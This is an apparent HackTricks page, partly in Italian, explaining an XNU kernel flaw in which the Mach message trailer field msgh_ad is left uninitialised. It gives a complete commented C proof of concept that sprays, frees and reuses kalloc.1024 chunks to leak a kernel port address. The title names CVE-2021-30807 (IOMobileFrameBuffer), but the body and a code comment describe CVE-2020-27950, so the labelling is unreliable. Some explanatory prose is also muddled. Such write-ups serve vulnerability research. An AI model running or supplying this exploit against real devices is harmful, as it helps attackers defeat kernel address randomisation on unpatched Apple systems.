CVE-2021-30807: IOMobileFrameBuffer OOB

Reading time: 10 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

La vulnerabilità

Esiste una great explanation of the vuln here, ma in sintesi:

Every Mach message the kernel receives ends with a "trailer": a variable-length struct with metadata (seqno, sender token, audit token, context, access control data, labels...). The kernel always reserves the largest possible trailer (MAX_TRAILER_SIZE) in the message buffer, but only initializes some fields, then later decides which trailer size to return based on user-controlled receive options.

Queste sono le struct rilevanti del trailer:

c
typedef struct{
mach_msg_trailer_type_t       msgh_trailer_type;
mach_msg_trailer_size_t       msgh_trailer_size;
} mach_msg_trailer_t;

typedef struct{
mach_msg_trailer_type_t       msgh_trailer_type;
mach_msg_trailer_size_t       msgh_trailer_size;
mach_port_seqno_t             msgh_seqno;
security_token_t              msgh_sender;
audit_token_t                 msgh_audit;
mach_port_context_t           msgh_context;
int                           msgh_ad;
msg_labels_t                  msgh_labels;
} mach_msg_mac_trailer_t;

#define MACH_MSG_TRAILER_MINIMUM_SIZE  sizeof(mach_msg_trailer_t)
typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))

Quindi, quando l'oggetto trailer viene generato, solo alcuni campi vengono inizializzati, e la dimensione massima del trailer è sempre riservata:

c
trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
trailer->msgh_sender = current_thread()->task->sec_token;
trailer->msgh_audit = current_thread()->task->audit_token;
trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0;
trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
[...]
trailer->msgh_labels.sender = 0;

Ad esempio, quando si tenta di leggere un mach message usando mach_msg(), la funzione ipc_kmsg_add_trailer() viene chiamata per aggiungere il trailer al messaggio. All'interno di questa funzione la dimensione del trailer viene calcolata e alcuni altri campi del trailer vengono compilati:

c
if (!(option & MACH_RCV_TRAILER_MASK)) {                                                       [3]
return trailer->msgh_trailer_size;
}

trailer->msgh_seqno = seqno;
trailer->msgh_context = context;
trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);

Il parametro option è controllato dall'utente, quindi è necessario passare un valore che soddisfi il controllo if.

Per superare questo controllo dobbiamo inviare un option valido e supportato:

c
#define MACH_RCV_TRAILER_NULL   0
#define MACH_RCV_TRAILER_SEQNO  1
#define MACH_RCV_TRAILER_SENDER 2
#define MACH_RCV_TRAILER_AUDIT  3
#define MACH_RCV_TRAILER_CTX    4
#define MACH_RCV_TRAILER_AV     7
#define MACH_RCV_TRAILER_LABELS 8

#define MACH_RCV_TRAILER_TYPE(x)     (((x) & 0xf) << 28)
#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24)
#define MACH_RCV_TRAILER_MASK        ((0xf << 24))

Ma, poiché MACH_RCV_TRAILER_MASK verifica soltanto i bit, possiamo passare qualsiasi valore compreso tra 0 e 8 per non entrare nell'istruzione if.

Poi, continuando con il codice si trova:

c
if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) {
trailer->msgh_ad = 0;
}

/*
* The ipc_kmsg_t holds a reference to the label of a label
* handle, not the port. We must get a reference to the port
* and a send right to copyout to the receiver.
*/

if (option & MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_LABELS)) {
trailer->msgh_labels.sender = 0;
}

done:
#ifdef __arm64__
ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread));
#endif /* __arm64__ */

return trailer->msgh_trailer_size;

Dove si può vedere che se option è maggiore o uguale a MACH_RCV_TRAILER_AV (7), il campo msgh_ad viene inizializzato a 0.

Come avrai notato, msgh_ad era ancora l'unico campo del trailer che non era stato inizializzato prima e che quindi potrebbe contenere un leak da memoria usata in precedenza.

Quindi, il modo per evitare di inizializzarlo è passare un valore option pari a 5 o 6, in modo da superare il primo controllo if e non entrare nell'if che inizializza msgh_ad, perché i valori 5 e 6 non hanno alcun tipo di trailer associato.

Basic PoC

All'interno della original post, trovi una PoC per effettuare un leak di alcuni dati casuali.

Leak Kernel Address PoC

All'interno della original post, trovi una PoC per leakare un indirizzo kernel. A tal fine, viene inviato un messaggio pieno di struct mach_msg_port_descriptor_t perché il campo name di questa struttura in userland contiene un unsigned int, mentre in kernel il campo name è un puntatore a struct ipc_port. Pertanto, inviare decine di queste struct nel messaggio farà sì di aggiungere diversi indirizzi kernel all'interno del messaggio, in modo che uno di essi possa essere leaked.

Sono stati aggiunti commenti per una migliore comprensione:

c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <mach/mach.h>

// Number of OOL port descriptors in the "big" message.
// This layout aims to fit messages into kalloc.1024 (empirically good on impacted builds).
#define LEAK_PORTS 50

// "Big" message: many descriptors → larger descriptor array in kmsg
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t sent_ports[LEAK_PORTS];
} message_big_t;

// "Small" message: fewer descriptors → leaves more room for the trailer
// to overlap where descriptor pointers used to be in the reused kalloc chunk.
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t sent_ports[LEAK_PORTS - 10];
} message_small_t;

int main(int argc, char *argv[]) {
mach_port_t port;       // our local receive port (target of sends)
mach_port_t sent_port;  // the port whose kernel address we want to leak

/*
* 1) Create a receive right and attach a send right so we can send to ourselves.
*    This gives us predictable control over ipc_kmsg allocations when we send.
*/
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);

/*
* 2) Create another receive port (sent_port). We'll reference this port
*    in OOL descriptors so the kernel stores pointers to its ipc_port
*    structure in the kmsg → those pointers are what we aim to leak.
*/
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sent_port);
mach_port_insert_right(mach_task_self(), sent_port, sent_port, MACH_MSG_TYPE_MAKE_SEND);

printf("[*] Will get port %x address\n", sent_port);

message_big_t   *big_message   = NULL;
message_small_t *small_message = NULL;

// Compute userland sizes of our message structs
mach_msg_size_t big_size   = (mach_msg_size_t)sizeof(*big_message);
mach_msg_size_t small_size = (mach_msg_size_t)sizeof(*small_message);

// Allocate user buffers for the two send messages (+MAX_TRAILER_SIZE for safety/margin)
big_message   = malloc(big_size   + MAX_TRAILER_SIZE);
small_message = malloc(small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);

/*
* 3) Prepare the "big" message:
*    - Complex bit set (has descriptors)
*    - 50 OOL port descriptors, all pointing to the same sent_port
*    When you send a Mach message with port descriptors, the kernel “copy-ins” the userland port names (integers in your process’s IPC space) into an in-kernel ipc_kmsg_t, and resolves each name to the actual kernel object (an ipc_port).
*    Inside the kernel message, the header/descriptor area holds object pointers, not user names. On the way out (to the receiver), XNU “copy-outs” and converts those pointers back into names. This is explicitly documented in the copyout path: “the remote/local port fields contain port names instead of object pointers” (meaning they were pointers in-kernel).
*/
printf("[*] Creating first kalloc.1024 ipc_kmsg\n");
memset(big_message, 0, big_size + MAX_TRAILER_SIZE);

big_message->header.msgh_remote_port = port; // send to our receive right
big_message->header.msgh_size        = big_size;
big_message->header.msgh_bits        = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0)
| MACH_MSGH_BITS_COMPLEX;
big_message->body.msgh_descriptor_count = LEAK_PORTS;

for (int i = 0; i < LEAK_PORTS; i++) {
big_message->sent_ports[i].type        = MACH_MSG_PORT_DESCRIPTOR;
big_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
big_message->sent_ports[i].name        = sent_port; // repeated to fill array with pointers
}

/*
* 4) Prepare the "small" message:
*    - Fewer descriptors (LEAK_PORTS-10) so that, when the kalloc.1024 chunk is reused,
*      the trailer sits earlier and *overlaps* bytes where descriptor pointers lived.
*/
printf("[*] Creating second kalloc.1024 ipc_kmsg\n");
memset(small_message, 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);

small_message->header.msgh_remote_port = port;
small_message->header.msgh_bits        = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0)
| MACH_MSGH_BITS_COMPLEX;
small_message->body.msgh_descriptor_count = LEAK_PORTS - 10;

for (int i = 0; i < LEAK_PORTS - 10; i++) {
small_message->sent_ports[i].type        = MACH_MSG_PORT_DESCRIPTOR;
small_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
small_message->sent_ports[i].name        = sent_port;
}

/*
* 5) Receive buffer for reading back messages with trailers.
*    We'll request a *max-size* trailer via MACH_RCV_TRAILER_ELEMENTS(5).
*    On vulnerable kernels, field `msgh_ad` (in mac trailer) may be left uninitialized
*    if the requested elements value is < MACH_RCV_TRAILER_AV, causing stale bytes to leak.
*/
uint8_t *buffer = malloc(big_size + MAX_TRAILER_SIZE);
mach_msg_mac_trailer_t *trailer; // interpret the tail as a "mac trailer" (format 0 / 64-bit variant internally)
uintptr_t sent_port_address = 0; // we'll build the 64-bit pointer from two 4-byte leaks

/*
* ---------- Exploitation sequence ----------
*
* Step A: Send the "big" message → allocate a kalloc.1024 ipc_kmsg that contains many
*         kernel pointers (ipc_port*) in its descriptor array.
*/
printf("[*] Sending message 1\n");
mach_msg(&big_message->header,
MACH_SEND_MSG,
big_size,            // send size
0,                   // no receive
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);

/*
* Step B: Immediately receive/discard it with a zero-sized buffer.
*         This frees the kalloc chunk without copying descriptors back,
*         leaving the kernel pointers resident in freed memory (stale).
*/
printf("[*] Discarding message 1\n");
mach_msg((mach_msg_header_t *)0,
MACH_RCV_MSG,        // try to receive
0,                   // send size 0
0,                   // recv size 0 (forces error/free path)
port,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);

/*
* Step C: Reuse the same size-class with the "small" message (fewer descriptors).
*         We slightly bump msgh_size by +4 so that when the kernel appends
*         the trailer, the trailer's uninitialized field `msgh_ad` overlaps
*         the low 4 bytes of a stale ipc_port* pointer from the prior message.
*/
small_message->header.msgh_size = small_size + sizeof(uint32_t); // +4 to shift overlap window
printf("[*] Sending message 2\n");
mach_msg(&small_message->header,
MACH_SEND_MSG,
small_size + sizeof(uint32_t),
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);

/*
* Step D: Receive message 2 and request an invalid trailer elements value (5).
*         - Bits 24..27 (MACH_RCV_TRAILER_MASK) are nonzero → the kernel computes a trailer.
*         - Elements=5 doesn't match any valid enum → REQUESTED_TRAILER_SIZE(...) falls back to max size.
*         - BUT init of certain fields (like `ad`) is guarded by >= MACH_RCV_TRAILER_AV (7),
*           so with 5, `msgh_ad` remains uninitialized → stale bytes leak.
*/
memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
printf("[*] Reading back message 2\n");
mach_msg((mach_msg_header_t *)buffer,
MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), // core of CVE-2020-27950
0,
small_size + sizeof(uint32_t) + MAX_TRAILER_SIZE, // ensure room for max trailer
port,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);

// Trailer begins right after the message body we sent (small_size + 4)
trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t));

// Leak low 32 bits from msgh_ad (stale data → expected to be the low dword of an ipc_port*)
sent_port_address |= (uint32_t)trailer->msgh_ad;

/*
* Step E: Repeat the A→D cycle but now shift by another +4 bytes.
*         This moves the overlap window so `msgh_ad` captures the high 4 bytes.
*/
printf("[*] Sending message 3\n");
mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

printf("[*] Discarding message 3\n");
mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

// add another +4 to msgh_size → total +8 shift from the baseline
small_message->header.msgh_size = small_size + sizeof(uint32_t)*2;
printf("[*] Sending message 4\n");
mach_msg(&small_message->header,
MACH_SEND_MSG,
small_size + sizeof(uint32_t)*2,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);

memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
printf("[*] Reading back message 4\n");
mach_msg((mach_msg_header_t *)buffer,
MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5),
0,
small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE,
port,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);

trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)*2);

// Combine the high 32 bits, reconstructing the full 64-bit kernel pointer
sent_port_address |= ((uintptr_t)trailer->msgh_ad) << 32;

printf("[+] Port %x has address %lX\n", sent_port, sent_port_address);

return 0;
}

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks